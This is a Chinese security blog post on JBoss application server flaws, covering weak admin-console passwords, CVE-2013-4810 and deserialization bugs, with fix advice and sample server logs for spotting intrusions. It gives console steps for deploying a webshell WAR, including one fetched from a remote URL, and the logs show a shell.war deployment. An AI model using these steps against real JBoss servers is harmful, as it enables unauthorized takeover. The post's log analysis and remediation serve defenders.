首页 > 系统加固 > Other > Jboss后台getshell及日志分析相关
2017
09-04

Jboss后台getshell及日志分析相关

Jboss是一款开源的JAVA应用服务器,有多个版本,Jboss AS4、AS5、AS6、AS7等,JBoss AS目前作为Redhat公司的商业产品JBoss Enterprise Application Platform的上游基础,为了使这两个产品有差异化,避免用户混淆,因此该公司在去年10月份就寻求为JBoss AS找一个新名字WildFly。

1、漏洞情况

Jboss AS4存在的漏洞主要有:
jmx-console弱密码或密码泄露导致getshell
admin-console弱密码或者密码泄露导致getshell

Jboss AS5存在的漏洞主要有:
以下都是用jboss 5.1.0进行的测试
jmx-console弱密码或密码泄露导致getshell(亲测不存在,按照AS6的方法并未部署成功)
admin-console弱密码或者密码泄露导致getshell(亲测存在)
CVE-2013-4810(JMXInvokerServlet、EJBInvokerServlet远程命令执行漏洞),对应的著名利用工具jboss_exploit_fat.jar(亲测存在)
Jboss java反序列化漏洞(亲测存在)

Jboss AS6存在的漏洞主要有:
以下都是用jboss 6.1.0进行的测试
Jboss java反序列化漏洞(亲测存在)
jmx-console弱密码或密码泄露导致getshell,也叫RMI远程方法调用getshell(亲测存在)
admin-console弱密码或者密码泄露导致getshel(亲测存在)

Jboss AS7存在的主要漏洞有:
以下都是用jboss AS 7.1.1测试的
Java反序列化漏洞(亲测不存在、亲测不存在)
console后台弱密码或密码泄露导致getshell(亲测存在)

2、漏洞利用

Jboss AS5、AS6后台部署war包的方法如下:
admin-console弱密码或密码泄露导致getshell(AS5、AS6):
1,Applications–Web Application(WAR)S;
2,上传本地电脑上的war包,即可部署成功。

jmx-console弱密码或密码泄露导致getshell(AS6):
1,Jboss system–“service=MainDeployer”;
2,选择Parameters为p1 java.lang.String,Operation为“redeploy”或“deploy”的项直接写入远程war的URL,invoke之后就部署成功了。
Jboss AS7 console后台部署war的方法如下:
1,Deployments–Manage Deployments–Add Content;
2,上传本地的war包,然后enable就可以。

3、修复建议

JBoss AS6:
JAVA反序列化漏洞只需要删除invoker目录即可,具体操作方法:
1,进入/jboss-6.1.0.Final/server/default/deploy;
2, rm -rf http-invoker.sar
4、其它知识

1,使用jmx-console、admin-console部署的war包,所在路径为:
/jboss-6.1.0.Final/server/default/deploy/
jboss的日志目录为:
/jboss-6.1.0.Final/server/default/log
其中如果有黑客利用jmx-console、admin-console部署了war包,对应的日志如下:
使用jmx-console部署的远程war包产生的日志:
2017-08-06 12:38:29,458 INFO [org.jboss.deployment.MainDeployer] (http-0.0.0.0-8080-5) deploy, url=http://www.nxadmin.com/shell.war
2017-08-06 12:38:30,080 INFO [org.jboss.web.tomcat.service.deployers.TomcatDeployment] (http-0.0.0.0-8080-5) deploy, ctxPath=/shell

使用admin-console上传的本地war包产生的日志:
2017-08-06 13:10:03,502 INFO [org.jboss.profileservice.management.upload.remoting.DeployHandler] (ResourceContainer.invoker.nonDaemon-1) invoke, payload: {DeploymentTargetID=names=[vfs:///jboss-6.1.0.Final/server/default/deploy/xxxx.war]}, parameter: start
2017-08-06 13:10:03,582 INFO [org.jboss.web.tomcat.service.deployers.TomcatDeployment] (ResourceContainer.invoker.nonDaemon-1) deploy, ctxPath=/xxxx
Jboss AS7中如果有黑客利用console后台部署了war包,会产生如下的日志:
13:37:43,143 INFO [org.jboss.as.repository] (HttpManagementService-threads – 10) JBAS014900: Content added at location /jboss-as-7.1.1.Final/standalone/data/content/81/001734a127042edd7aa4d431efbeca66c983e8/content
13:37:49,407 INFO [org.jboss.as.server.deployment] (MSC service thread 1-2) JBAS015876: Starting deployment of “xxxx.war”
13:37:50,129 INFO [org.jboss.web] (MSC service thread 1-2) JBAS018210: Registering web context: /xxxx
13:37:50,169 INFO [org.jboss.as.server] (HttpManagementService-threads – 10) JBAS018559: Deployed “xxxx.war”

2,jboss AS7管理端口默认是9990,没有jmx-console、admin-console之分了,只有一个管理入口,默认URL:
http://54.223.252.11:9990/console/App.html#server-overview

3,jboss AS7的相关目录如下:
日志目录:
/jboss-as-7.1.1.Final/standalone/log

console部署的war包目录:
/jboss-as-7.1.1.Final/standalone/tmp/work/jboss.web/default-host/

console部署的war包中具体的文件目录:
/jboss-as-7.1.1.Final/standalone/tmp/vfs/temp5c1055b3d34513b3/content-87f642ee84d0ff6a/

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。